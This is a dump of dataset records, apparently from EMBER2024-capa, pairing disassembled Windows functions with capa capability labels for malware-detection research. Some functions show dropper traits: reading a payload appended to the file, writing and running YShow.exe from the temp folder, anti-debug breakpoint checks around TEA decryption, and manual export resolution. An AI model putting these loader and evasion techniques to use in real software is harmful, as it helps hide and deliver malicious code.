joyce8/EMBER2024-capa huggingface dataset:
Function at 0x439d60
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x1004
call fcn.0043a7e0
mov eax, dword [0x479f14]
xor eax, esp
mov dword [esp + 0x1000], eax
push esi
mov esi, dword [esp + 0x1010]
push edi
mov edi, dword [esp + 0x1010]
push 0x1000
lea eax, [esp + 0xc]
push 0
push eax
call fcn.0043a190
push 0x800
lea ecx, [esp + 0x18]
push 0x465718
push ecx
call fcn.0043a779
push 0x800
lea edx, [esp + 0x24]
push esi
push edx
call fcn.0043b4f3
push 0x800
lea eax, [esp + 0x30]
push 0x4656ec
push eax
call fcn.0043b4f3
push 0x800
lea ecx, [esp + 0x3c]
push esi
push ecx
call fcn.0043b4f3
push 0x800
lea edx, [esp + 0x48]
push str.vL
push edx
call fcn.0043b4f3
add esp, 0x48
push 0x800
lea eax, [esp + 0xc]
push edi
push eax
call fcn.0043b4f3
push 0x800
lea ecx, [esp + 0x18]
push 0x4656ac
push ecx
call fcn.0043b4f3
add esp, 0x18
push 0x14
push esi
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, eax
cmp esi, 6
jne 0x439e72
call fcn.00439b60
test eax, eax
je 0x439e5a
call fcn.00439c50
test eax, eax
je 0x439e5a
push 5
push 0
push 0
push str.http:__down.360safe.com_setupbeta.exe
jmp 0x439e65
push 5
push 0
push 0
push str.http:__down.360safe.com_setup.exe
push 0x461b54
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp dword [esp + 0x1018], 0
je 0x439e83
push 0
call fcn.004433cf
mov ecx, dword [esp + 0x1008]
pop edi
mov eax, esi
pop esi
xor ecx, esp
call fcn.0043a7c3
add esp, 0x1004
ret

Function at 0x439ea0
Capabilities:
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x140
mov eax, dword [0x479f14]
xor eax, esp
mov dword [esp + 0x13c], eax
mov eax, dword [esp + 0x144]
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x439ef2
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x13c]
xor ecx, esp
call fcn.0043a7c3
add esp, 0x140
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [esp + 0x10]
push eax
push 0x40
lea ecx, [esp + 0x114]
push ecx
push esi
call edi
test eax, eax
je 0x439f7b
cmp dword [esp + 0xc], 0x40
jne 0x439f7b
mov edx, 0x5a4d
cmp word [esp + 0x108], dx
jne 0x439f7b
mov eax, dword [esp + 0x144]
push 0
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, dword [esp + 0x144]
jne 0x439f7b
push 0
lea ecx, [esp + 0x10]
push ecx
push 0xf8
lea edx, [esp + 0x1c]
push edx
push esi
call edi
test eax, eax
je 0x439f7b
cmp dword [esp + 0xc], 0xf8
jne 0x439f7b
cmp dword [esp + 0x10], 0x4550
jne 0x439f7b
cmp word [esp + 0x16], bx
je 0x439f7b
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x148]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0043a7c3
add esp, 0x140
ret
Function at 0x439fb0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
push eax
push ecx
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
ret

Function at 0x439fe0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
ret

Function at 0x43a7c3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x479f14]
jne 0x43a7cd
repz ret
jmp fcn.0044616b

Function at 0x43d801
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x43d832
call fcn.00442b4f
mov dword [eax], esi
call fcn.00442b3c
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0043b7c2
add esp, 0x14
push 0x16
pop eax
jmp 0x43d887
test dword [ebp + 0xc], 0xfffffff9
jne 0x43d80e
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x43d85f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00442b62
pop ecx
call fcn.00442b3c
mov eax, dword [eax]
jmp 0x43d887
test al, 0x10
jne 0x43d885
test al, 1
je 0x43d885
test byte [ebp + 0xc], 2
je 0x43d885
call fcn.00442b4f
mov dword [eax], 5
call fcn.00442b3c
mov dword [eax], 0xd
jmp 0x43d856
xor eax, eax
pop esi
pop ebp
ret
Function at 0x455078
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00446386
and dword [ebp - 4], 0
cmp dword [0x47c980], 0
mov ebx, eax
jne 0x455129
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4551da
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4551da
push eax
call fcn.00446314
mov dword [esp], 0x46b860
push edi
mov dword [0x47c980], eax
call esi
push eax
call fcn.00446314
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x47c984], eax
call esi
push eax
call fcn.00446314
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x47c988], eax
call esi
push eax
call fcn.00446314
pop ecx
mov dword [0x47c990], eax
test eax, eax
je 0x455129
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00446314
pop ecx
mov dword [0x47c98c], eax
mov eax, dword [0x47c98c]
cmp eax, ebx
je 0x455181
cmp dword [0x47c990], ebx
je 0x455181
push eax
call fcn.0044638f
push dword [0x47c990]
mov esi, eax
call fcn.0044638f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x455181
test edi, edi
je 0x455181
call esi
test eax, eax
je 0x455178
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x455178
test byte [ebp - 0xc], 1
jne 0x455181
or dword [ebp + 0x10], 0x200000
jmp 0x4551ba
mov eax, dword [0x47c984]
cmp eax, ebx
je 0x4551ba
push eax
call fcn.0044638f
pop ecx
test eax, eax
je 0x4551ba
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4551ba
mov eax, dword [0x47c988]
cmp eax, ebx
je 0x4551ba
push eax
call fcn.0044638f
pop ecx
test eax, eax
je 0x4551ba
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x47c980]
call fcn.0044638f
pop ecx
test eax, eax
je 0x4551da
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4551dc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4010cc
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x4010de
mov eax, dword [0x41808b]
shl eax, 2
mov dword [0x41808f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.00405064
pop edx
call fcn.00404400
call fcn.00405068
push 0
call fcn.00406300
pop ecx
push 0x418034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x418093], eax
push 0
jmp fcn.0040a88c

Function at 0x401380
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffddc
mov eax, dword [0x45e170]
mov edx, dword [0x45e178]
lea ecx, [ebp - 0x224]
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [0x45e174]
mov dword [ebp - 8], eax
mov dword [ebp - 0x1c], edx
mov edx, dword [0x45e17c]
mov dword [0x469c54], 1
mov dword [ebp - 0x18], edx
push 0x208
push ecx
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x224]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4014c4
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
mov edi, eax
push 2
push 0
push 0xfffffffffffffff8
push ebx
call sub.KERNEL32.DLL_SetFilePointer
lea eax, [ebp - 4]
push 0
push eax
lea edx, [ebp - 0x14]
push 8
push edx
push ebx
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x40142f
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x4014c6
push 8
lea edx, [ebp - 0x14]
push edx
lea ecx, [ebp - 0xc]
push ecx
call fcn.004054f4
add esp, 0xc
test eax, eax
je 0x401449
xor eax, eax
jmp 0x4014c6
push 2
push 0
push 0xfffffffffffffff4
push ebx
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea edx, [ebp - 4]
push edx
push 4
push esi
push ebx
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x401472
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x4014c6
push 4
push 0x1000
mov edx, dword [esi]
push edx
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [0x45e16c], eax
mov eax, edi
sub eax, dword [esi]
sub eax, 0xc
push 0
push 0
push eax
push ebx
call sub.KERNEL32.DLL_SetFilePointer
lea edx, [ebp - 4]
push 0
push edx
mov eax, dword [0x45e16c]
mov ecx, dword [esi]
push ecx
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x4014bd
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x4014c6
mov eax, 1
jmp 0x4014c6
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4014d0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffba8
push ebx
push esi
lea eax, [ebp - 0x458]
push eax
push 0x1ff
call sub.KERNEL32.DLL_GetTempPathA
push str.YShow.exe
lea edx, [ebp - 0x458]
push edx
call sub.KERNEL32.DLL_lstrcatA
push 4
push 0x1000
push 0x6000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov ebx, eax
test ebx, ebx
jne 0x40151d
xor eax, eax
jmp 0x4015e3
push ebx
push 0x4580a4
call fcn.0040cf58
add esp, 8
lea edx, [ebp - 0x458]
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push edx
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x401565
push 0
lea eax, [ebp - 4]
push eax
push 0x6000
push ebx
push esi
call sub.KERNEL32.DLL_WriteFile
push esi
call sub.KERNEL32.DLL_CloseHandle
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x458]
push ecx
call sub.KERNEL32.DLL_lstrcatA
push 0x44
push 0
lea eax, [ebp - 0x48]
push eax
call fcn.00405384
add esp, 0xc
mov dword [ebp - 0x48], 0x44
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], 1
push 0x10
push 0
lea edx, [ebp - 0x58]
push edx
call fcn.00405384
add esp, 0xc
lea ecx, [ebp - 0x58]
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x458]
push ecx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push 0
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
jne 0x4015d3
xor eax, eax
jmp 0x4015e3
push 0xffffffffffffffff
mov edx, dword [ebp - 0x58]
push edx
call sub.KERNEL32.DLL_WaitForSingleObject
mov eax, 1
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402f6c
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
movzx eax, word [eax + 0x14]
add eax, dword [ebp + 0xc]
add eax, 0x18
xor ecx, ecx
jmp 0x402fa0
mov edx, dword [eax + 8]
test edx, edx
jne 0x402f8f
mov edx, dword [eax + 0x10]
mov esi, dword [eax + 0xc]
cmp ebx, esi
jb 0x402f9c
add edx, esi
cmp ebx, edx
jb 0x402fad
inc ecx
add eax, 0x28
mov edx, dword [ebp + 0xc]
movzx edx, word [edx + 6]
cmp ecx, edx
jb 0x402f85
xor eax, eax
pop esi
pop ebx
pop ebp
ret
Function at 0x402fe8
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
je 0x403002
xor eax, eax
jmp 0x403182
mov ebx, dword [edi + 0x3c]
add ebx, edi
cmp dword [ebx], 0x4550
je 0x403016
xor eax, eax
jmp 0x403182
cmp word [ebx + 0x14], 0xe0
jne 0x403026
cmp word [ebx + 0x18], 0x10b
je 0x40302d
xor eax, eax
jmp 0x403182
mov dword [0x469958], edi
mov ebx, dword [edi + 0x3c]
mov esi, edi
add ebx, esi
mov eax, dword [ebx + 0x78]
mov dword [ebp - 0x18], eax
push ebx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00402f6c
add esp, 8
test eax, eax
jne 0x403058
xor eax, eax
jmp 0x403182
mov edx, dword [0x469958]
push edx
push ebx
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00402fb4
add esp, 0xc
mov ebx, dword [ebx + 0x78]
test ebx, ebx
jne 0x40308a
push 0x10
push 0
push str.Error_in_GetProcAddressDirectly__
push 0
call sub.USER32.DLL_MessageBoxA
xor eax, eax
jmp 0x403182
add ebx, esi
mov edx, dword [ebx + 0x24]
add edx, esi
mov dword [ebp - 4], edx
mov ecx, dword [ebx + 0x20]
add ecx, esi
mov dword [ebp - 0xc], ecx
mov eax, dword [ebx + 0x1c]
add eax, esi
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0xc]
mov ecx, edx
shr ecx, 0x10
test cx, cx
je 0x403154
xor esi, esi
mov eax, dword [ebp - 8]
mov edx, eax
mov dword [ebp - 0x28], edx
jmp 0x403146
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
test eax, eax
je 0x403141
xor edx, edx
mov dword [ebp - 0x14], edx
mov ecx, dword [ebp - 0x28]
mov eax, ecx
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0xc]
mov ecx, edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 4]
mov edx, eax
mov dword [ebp - 0x1c], edx
jmp 0x403138
mov ecx, dword [ebp - 0x1c]
movzx eax, word [ecx]
cmp esi, eax
jne 0x40312d
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx]
add ecx, edi
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + 0xc]
mov cl, byte [eax]
cmp cl, byte [edx]
jne 0x40312d
test cl, cl
je 0x403122
mov cl, byte [eax + 1]
cmp cl, byte [edx + 1]
jne 0x40312d
add eax, 2
add edx, 2
test cl, cl
jne 0x403106
jne 0x40312d
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
add eax, edi
jmp 0x403182
inc dword [ebp - 0x14]
add dword [ebp - 0x20], 4
add dword [ebp - 0x1c], 2
mov edx, dword [ebx + 0x18]
dec edx
cmp edx, dword [ebp - 0x14]
jae 0x4030ec
inc esi
add dword [ebp - 0x28], 4
mov ecx, dword [ebx + 0x14]
dec ecx
cmp esi, ecx
jbe 0x4030c4
jmp 0x403180
xor esi, esi
mov eax, dword [ebp - 8]
jmp 0x403178
mov ecx, dword [ebx + 0x10]
add ecx, esi
cmp edx, ecx
jne 0x403174
cmp dword [eax], 0
je 0x403174
mov edx, dword [eax]
shl edx, 6
add edi, edx
mov eax, edi
jmp 0x403182
inc esi
add eax, 4
mov ecx, dword [ebx + 0x14]
dec ecx
cmp esi, ecx
jbe 0x40315b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403230
Capabilities:
Check for software breakpoints
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, fcn.00401a18
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
mov al, byte [esi]
cmp al, 0xcc
je 0x4032e3
mov eax, fcn.00401680
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
mov al, byte [esi]
cmp al, 0xcc
je 0x4032e3
mov eax, fcn.004033d4
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov al, byte [esi]
cmp al, 0xcc
je 0x4032e3
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 8]
xor ebx, ebx
mov edi, 0x20
mov ecx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov edx, dword [edx]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
jmp 0x4032e3
add ebx, 0x9e3779b9
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x10]
lea esi, [ebx + ecx]
xor eax, esi
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x14]
xor eax, esi
add edx, eax
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x18]
lea esi, [ebx + edx]
xor eax, esi
mov esi, edx
shr esi, 5
add esi, dword [ebp - 0x1c]
xor eax, esi
add ecx, eax
mov eax, edi
add edi, 0xffffffff
test eax, eax
jg 0x4032ab
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403300
Capabilities:
Check for software breakpoints
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, fcn.00401a18
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
mov al, byte [esi]
cmp al, 0xcc
je 0x4033b6
mov eax, fcn.00401680
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
mov al, byte [esi]
cmp al, 0xcc
je 0x4033b6
mov eax, fcn.00403300
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov al, byte [esi]
cmp al, 0xcc
je 0x4033b6
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov ebx, 0xc6ef3720
mov edi, 0x20
mov ecx, dword [edx]
mov edx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
jmp 0x4033b6
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x18]
lea esi, [ebx + ecx]
xor eax, esi
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x1c]
xor eax, esi
sub edx, eax
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x10]
lea esi, [ebx + edx]
xor eax, esi
mov esi, edx
shr esi, 5
add esi, dword [ebp - 0x14]
xor eax, esi
sub ecx, eax
sub ebx, 0x9e3779b9
mov eax, edi
add edi, 0xffffffff
test eax, eax
jg 0x40337e
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403424
Capabilities:
Check for software breakpoints
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, fcn.00401a18
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
mov al, byte [esi]
cmp al, 0xcc
je 0x4034da
mov eax, fcn.00401680
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
mov al, byte [esi]
cmp al, 0xcc
je 0x4034da
mov eax, fcn.004033d4
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov al, byte [esi]
cmp al, 0xcc
je 0x4034da
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov ebx, 0xc6ef3720
mov edi, 0x20
mov ecx, dword [edx]
mov edx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
jmp 0x4034da
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x18]
lea esi, [ebx + ecx]
xor eax, esi
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x1c]
xor eax, esi
sub edx, eax
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x10]
lea esi, [ebx + edx]
xor eax, esi
mov esi, edx
shr esi, 5
add esi, dword [ebp - 0x14]
xor eax, esi
sub ecx, eax
sub ebx, 0x9e3779b9
mov eax, edi
add edi, 0xffffffff
test eax, eax
jg 0x4034a2
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404d58
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
mov dword [esp], 0x20
push esp
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov eax, dword [esp + 0xc]
add esp, 0x20
ret

Function at 0x4098b8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
je 0x40991a
call fcn.00409868
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.00405428
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.00405428
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x409978
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x460728], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x409a52
cmp dword [0x460724], 0
jne 0x409a52
cmp dword [0x460918], 0
je 0x409a0c
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.00409768
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4099f2
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.00409768
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4099f2
lea ebx, [ebp - 0x84]
jmp 0x4099f3
inc ebx
call fcn.00409934
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x409a8d
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x46072c
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.00405428
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x46072f
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x409a8d
cmp dword [0x460724], 0
je 0x409a6c
cmp dword [0x460724], 0xffffffff
je 0x409a8d
push esi
call dword [0x460724]
pop ecx
mov eax, dword [0x460728]
test eax, eax
je 0x409a8d
cmp dword [0x460728], 0xffffffff
je 0x409a8d
cmp byte [eax], 0
je 0x409a8d
push esi
push eax
call fcn.004098b8
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a2d0
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x46a4d8], 0
jne 0x40a351
cmp dword [0x46a4f8], 0
jne 0x40a300
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x46a4f8], eax
test eax, eax
jne 0x40a300
push str.GetEnvironmentStrings_failed
call fcn.00409aa4
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x46a4f8]
jmp 0x40a314
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00405428
pop ecx
mov edi, eax
test eax, eax
jne 0x40a30c
lea edi, [ebp + 1]
push edi
call fcn.00404310
pop ecx
mov ebx, eax
mov dword [0x46a4dc], ebx
test ebx, ebx
jne 0x40a33e
xor eax, eax
jmp 0x40a414
push edi
mov edx, dword [0x46a4f8]
push edx
push ebx
call fcn.00405314
add esp, 0xc
jmp 0x40a371
xor esi, esi
mov ebx, dword [0x46a4d8]
jmp 0x40a36b
push eax
call fcn.00405428
pop ecx
test eax, eax
jne 0x40a367
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40a35b
lea ebx, [esi + 4]
push 4
mov dword [0x46a4e0], ebx
inc ebx
push ebx
call fcn.00403e74
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x40a394
xor eax, eax
jmp 0x40a414
cmp dword [0x46a4d8], 0
jne 0x40a3c5
xor esi, esi
mov ebx, dword [0x46a4dc]
mov eax, dword [esp]
mov ebp, eax
jmp 0x40a3b6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00405428
pop ecx
mov edi, eax
test eax, eax
jne 0x40a3ac
jmp 0x40a3f6
xor esi, esi
mov ebx, dword [0x46a4d8]
mov eax, dword [esp]
mov edi, eax
jmp 0x40a3f0
push eax
call fcn.00405428
pop ecx
test eax, eax
je 0x40a3e5
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x40a3e9
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40a3d4
mov eax, dword [0x46a4d8]
test eax, eax
je 0x40a406
push eax
call fcn.00404320
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x46a4d8], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40cb94
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x461388
sub eax, eax
test esi, esi
je 0x40cc74
sub eax, 1
test ecx, ecx
je 0x40cc72
test esi, 3
je 0x40cbd2
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40cbb7
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x40cc59
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40cbe0
mov ecx, edx
test ecx, ecx
je 0x40cc72
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40cc5f
not eax
mov dword [esp + 0x1c], eax
popal
ret